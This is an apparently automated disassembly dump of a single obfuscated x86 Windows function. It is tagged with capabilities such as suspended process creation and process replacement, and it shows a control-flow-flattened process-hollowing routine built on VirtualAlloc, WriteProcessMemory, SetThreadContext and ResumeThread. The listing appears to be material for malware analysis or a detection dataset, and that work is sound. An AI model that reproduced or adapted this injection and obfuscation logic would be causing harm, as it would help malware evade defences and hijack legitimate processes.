Function at 0x10003400
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x130
mov eax, dword [0x1006be00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x132], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x131], al
mov dword [ebp - 0x138], 0x3f88545
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
sub eax, 0x80e8548a
je 0x1000961f
jmp 0x10003473
mov eax, dword [ebp - 0x13c]
sub eax, 0x817bbfa3
je 0x1000af9f
jmp 0x10003489
mov eax, dword [ebp - 0x13c]
sub eax, 0x819bf747
je 0x10009006
jmp 0x1000349f
mov eax, dword [ebp - 0x13c]
sub eax, 0x82cca238
je 0x10007168
jmp 0x100034b5
mov eax, dword [ebp - 0x13c]
sub eax, 0x830e895b
je 0x1000b40e
jmp 0x100034cb
mov eax, dword [ebp - 0x13c]
sub eax, 0x837c3dfa
je 0x1000b699
jmp 0x100034e1
mov eax, dword [ebp - 0x13c]
sub eax, 0x840c897d
je 0x10007dbf
jmp 0x100034f7
mov eax, dword [ebp - 0x13c]
sub eax, 0x846a5792
je 0x1000ac8a
jmp 0x1000350d
mov eax, dword [ebp - 0x13c]
sub eax, 0x86375c38
je 0x10009b69
jmp 0x10003523
mov eax, dword [ebp - 0x13c]
sub eax, 0x868e0977
je 0x10009015
jmp 0x10003539
mov eax, dword [ebp - 0x13c]
sub eax, 0x884952ec
je 0x10005a36
jmp 0x1000354f
mov eax, dword [ebp - 0x13c]
sub eax, 0x89afaa78
je 0x1000b092
jmp 0x10003565
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a8ca3e1
je 0x1000606b
jmp 0x1000357b
mov eax, dword [ebp - 0x13c]
sub eax, 0x8af6634d
je 0x1000aa6a
jmp 0x10003591
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b20aee2
je 0x1000b8ad
jmp 0x100035a7
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b665b89
je 0x1000b88c
jmp 0x100035bd
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b9fcc05
je 0x10009197
jmp 0x100035d3
mov eax, dword [ebp - 0x13c]
sub eax, 0x8ba49c44
je 0x10009be1
jmp 0x100035e9
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c763efc
je 0x10006c3a
jmp 0x100035ff
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d6ee91c
je 0x10005f1d
jmp 0x10003615
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e5be92a
je 0x10006a8e
jmp 0x1000362b
mov eax, dword [ebp - 0x13c]
sub eax, 0x90860df7
je 0x10009a84
jmp 0x10003641
mov eax, dword [ebp - 0x13c]
sub eax, 0x90fda842
je 0x1000a97d
jmp 0x10003657
mov eax, dword [ebp - 0x13c]
sub eax, 0x910e5647
je 0x100084e6
jmp 0x1000366d
mov eax, dword [ebp - 0x13c]
sub eax, 0x91260e5a
je 0x10005e3a
jmp 0x10003683
mov eax, dword [ebp - 0x13c]
sub eax, 0x91b643d0
je 0x1000930b
jmp 0x10003699
mov eax, dword [ebp - 0x13c]
sub eax, 0x91edb431
je 0x10008dc1
jmp 0x100036af
mov eax, dword [ebp - 0x13c]
sub eax, 0x92197528
je 0x1000a7de
jmp 0x100036c5
mov eax, dword [ebp - 0x13c]
sub eax, 0x92c2601b
je 0x10006389
jmp 0x100036db
mov eax, dword [ebp - 0x13c]
sub eax, 0x9377a1ea
je 0x10009e96
jmp 0x100036f1
mov eax, dword [ebp - 0x13c]
sub eax, 0x939358ae
je 0x10006607
jmp 0x10003707
mov eax, dword [ebp - 0x13c]
sub eax, 0x94c03165
je 0x10009a2b
jmp 0x1000371d
mov eax, dword [ebp - 0x13c]
sub eax, 0x94fd307a
je 0x10007a0d
jmp 0x10003733
mov eax, dword [ebp - 0x13c]
sub eax, 0x95a9db62
je 0x100067a7
jmp 0x10003749
mov eax, dword [ebp - 0x13c]
sub eax, 0x95f79dae
je 0x1000b859
jmp 0x1000375f
mov eax, dword [ebp - 0x13c]
sub eax, 0x95f7d791
je 0x10006e31
jmp 0x10003775
mov eax, dword [ebp - 0x13c]
sub eax, 0x968a53f0
je 0x1000aa45
jmp 0x1000378b
mov eax, dword [ebp - 0x13c]
sub eax, 0x968d8655
je 0x1000b9a4
jmp 0x100037a1
mov eax, dword [ebp - 0x13c]
sub eax, 0x974d3d62
je 0x10007de0
jmp 0x100037b7
mov eax, dword [ebp - 0x13c]
sub eax, 0x97a33f39
je 0x1000a38d
jmp 0x100037cd
mov eax, dword [ebp - 0x13c]
sub eax, 0x9809bf7e
je 0x1000b6ba
jmp 0x100037e3
mov eax, dword [ebp - 0x13c]
sub eax, 0x98c39ce4
je 0x10005ea8
jmp 0x100037f9
mov eax, dword [ebp - 0x13c]
sub eax, 0x993cf8e7
je 0x1000829c
jmp 0x1000380f
mov eax, dword [ebp - 0x13c]
sub eax, 0x9987c489
je 0x10007b42
jmp 0x10003825
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ad668aa
je 0x10008e37
jmp 0x1000383b
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ae198e9
je 0x10006335
jmp 0x10003851
mov eax, dword [ebp - 0x13c]
sub eax, 0x9b3bbfa7
je 0x10009258
jmp 0x10003867
mov eax, dword [ebp - 0x13c]
sub eax, 0x9cabda6b
je 0x100064fb
jmp 0x1000387d
mov eax, dword [ebp - 0x13c]
sub eax, 0x9d2f98f9
je 0x10006fed
jmp 0x10003893
mov eax, dword [ebp - 0x13c]
sub eax, 0x9e983461
je 0x1000a5a9
jmp 0x100038a9
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ea49fde
je 0x1000a261
jmp 0x100038bf
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ef04c11
je 0x10007c3f
jmp 0x100038d5
mov eax, dword [ebp - 0x13c]
sub eax, 0x9fe96437
je 0x1000b7c3
jmp 0x100038eb
mov eax, dword [ebp - 0x13c]
sub eax, 0xa0270ce8
je 0x1000a2a2
jmp 0x10003901
mov eax, dword [ebp - 0x13c]
sub eax, 0xa06cc27a
je 0x1000b4d1
jmp 0x10003917
mov eax, dword [ebp - 0x13c]
sub eax, 0xa0bd8f75
je 0x1000b29a
jmp 0x1000392d
mov eax, dword [ebp - 0x13c]
sub eax, 0xa1275c02
je 0x1000a4d8
jmp 0x10003943
mov eax, dword [ebp - 0x13c]
sub eax, 0xa1a3d60f
je 0x100093eb
jmp 0x10003959
mov eax, dword [ebp - 0x13c]
sub eax, 0xa1b875f7
je 0x10007fb6
jmp 0x1000396f
mov eax, dword [ebp - 0x13c]
sub eax, 0xa1cf48dd
je 0x10009e19
jmp 0x10003985
mov eax, dword [ebp - 0x13c]
sub eax, 0xa21f2c82
je 0x100072a7
jmp 0x1000399b
mov eax, dword [ebp - 0x13c]
sub eax, 0xa363f253
je 0x10008b7d
jmp 0x100039b1
mov eax, dword [ebp - 0x13c]
sub eax, 0xa3f0d1ac
je 0x1000928b
jmp 0x100039c7
mov eax, dword [ebp - 0x13c]
sub eax, 0xa409b632
je 0x100096b9
jmp 0x100039dd
mov eax, dword [ebp - 0x13c]
sub eax, 0xa421a351
je 0x1000b2b8
mov dword [ebp - 0x138], 0xafab2a6d
jmp 0x1000ba21
mov dl, 1
mov eax, 0x6e523624
mov ecx, 0xf22743ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x10018224]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x10018220]
movss dword [eax], xmm0
mov eax, dword [0x1006d128]
mov ecx, dword [0x1006d124]
mov edx, eax
sub edx, 0xf87d009f
sub edx, 1
add edx, 0xf87d009f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa4ef16f
mov ecx, 0x8d6ee91c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dword [ebp - 0x138], 0x41a2f4df
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2ea67782
mov ecx, 0xbb26d799
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dword [ebp - 0x138], 0xdcb4e077
jmp 0x1000ba21
mov eax, dword [0x1006d128]
mov ecx, dword [0x1006d124]
mov edx, eax
sub edx, 0xb2b004ac
sub edx, 1
add edx, 0xb2b004ac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd09ea7cf
mov ecx, 0x4c927dc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [0x1006d128]
mov ecx, dword [0x1006d124]
mov edx, eax
add edx, 0x59ffff94
sub edx, 1
sub edx, 0x59ffff94
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa421a351
mov ecx, 0xff1cb686
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x10018360]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x39aa17b9
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
add edx, 0x5c3cbd12
sub edx, 1
sub edx, 0x5c3cbd12
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2a645b24
mov ecx, 0xd3831de7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018204]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018200]
movss dword [eax], xmm0
mov eax, dword [0x1006d128]
mov ecx, dword [0x1006d124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23e150de
mov ecx, 0xe2aa8a47
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
add edx, 0x49991eb4
sub edx, 1
sub edx, 0x49991eb4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xef2c81df
mov ecx, 0xcbf8c61d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dword [ebp - 0x138], 0x66a66590
jmp 0x1000ba21
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x100181f0]
movss dword [eax], xmm0
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
sub edx, 0x28feecd3
sub edx, 1
add edx, 0x28feecd3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa1c362d
mov ecx, 0xdf0a9730
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018334]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xb514c337
jmp 0x1000ba21
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018328]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10018324]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xd97f81a2
jmp 0x1000ba21
mov dword [ebp - 0x138], 0xf9926c1e
jmp 0x1000ba21
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018308]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xe87a2846
jmp 0x1000ba21
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018304]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018300]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xca6d1731
jmp 0x1000ba21
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100182e8]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x974d3d62
jmp 0x1000ba21
mov dl, 1
mov eax, 0xcfd53d32
mov ecx, 0x346fed26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dword [ebp - 0x138], 0xcfd53d32
jmp 0x1000ba21
mov dword [ebp - 0x138], 0x51b31ac
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
sub edx, 0xc3d293f1
sub edx, 1
add edx, 0xc3d293f1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5f1cb90f
mov ecx, 0xd2f9817c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
sub edx, 0x87bea765
sub edx, 1
add edx, 0x87bea765
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd8214eb0
mov ecx, 0x6200d6bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
add edx, 0xfa742907
sub edx, 1
sub edx, 0xfa742907
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9809bf7e
mov ecx, 0x9ad668aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
add edx, 0x47da6960
sub edx, 1
sub edx, 0x47da6960
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9809bf7e
mov ecx, 0x4ad6b4a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dword [ebp - 0x138], 0x868e0977
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
sub edx, 0x4a340142
sub edx, 1
add edx, 0x4a340142
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe0365df8
mov ecx, 0x5a0c8376
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dl, 1
mov eax, 0xf4e36199
mov ecx, 0x3086b6af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018254]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018250]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xa3f0d1ac
jmp 0x1000ba21
mov dword [ebp - 0x138], 0xd2ad82dd
jmp 0x1000ba21
mov dword [ebp - 0x138], 0x2f51eded
jmp 0x1000ba21
mov dword [ebp - 0x138], 0x56a66e12
jmp 0x1000ba21
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
add edx, 0x4306fac3
sub edx, 1
sub edx, 0x4306fac3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf3e370a
mov ecx, 0xa409b632
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dword [ebp - 0x138], 0x54862ac2
jmp 0x1000ba21
mov eax, dword [ebp - 0xf8]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0xb1], al
mov eax, dword [0x1006d128]
mov ecx, dword [0x1006d124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9fe96437
mov ecx, 0x90860df7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dl, byte [ebp - 0xb1]
mov eax, 0x213104ff
mov ecx, 0x4cb5d292
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x138], 0x8ba49c44
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
add edx, 0x1b4b0b5c
sub edx, 1
sub edx, 0x1b4b0b5c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1ac2154e
mov ecx, 0x2469c48f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0xa0], eax
mov eax, dword [0x1006d128]
mov ecx, dword [0x1006d124]
mov edx, eax
sub edx, 0xb3245ffe
sub edx, 1
add edx, 0xb3245ffe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x45ff1dfe
mov ecx, 0xf773bdab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
sub edx, 0xa6208ef1
sub edx, 1
add edx, 0xa6208ef1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7619b3b6
mov ecx, 0x562cf19a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x138], 0xa0270ce8
jmp 0x1000ba21
mov eax, dword [0x1006d128]
mov ecx, dword [0x1006d124]
mov edx, eax
add edx, 0x52f39ed5
sub edx, 1
sub edx, 0x52f39ed5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x95f79dae
mov ecx, 0xbbdac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dl, byte [ebp - 0x75]
mov eax, 0xca4b39a0
mov ecx, 0xc9e366d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
sub eax, 0x6182c43a
add eax, 1
add eax, 0x6182c43a
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x138], 0x5005083a
jmp 0x1000ba21
mov eax, dword [ebp - 0x60]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x59], al
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
add edx, 0x529013a9
sub edx, 1
sub edx, 0x529013a9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe3e9cad6
mov ecx, 0x4875cd1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
mov edx, ecx
add edx, 0x8b982e2c
sub edx, 1
sub edx, 0x8b982e2c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf4be588b
mov ecx, 0x336da2a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov dword [ebp - 0x138], 0xb3205638
jmp 0x1000ba21
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x138], 0x8af6634d
jmp 0x1000ba21
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
movzx eax, word [eax + ecx*2]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xb99ad8ab
mov ecx, 0x732a270a
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x138], 0x3a9433a5
jmp 0x1000ba21
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [0x1006d128]
mov eax, dword [0x1006d124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x968d8655
mov ecx, 0x7d18b912
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000ba21
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x138], 0x760e3d86
jmp 0x1000ba21
mov dword [ebp - 0x138], 0xa6df86
jmp 0x1000ba21
mov dword [ebp - 0x138], 0x229e13f0
jmp 0x1000ba21
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100181d8]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x3395d544
jmp 0x1000ba21
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xb70e2e0e
jmp 0x1000ba21
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x9ad668aa
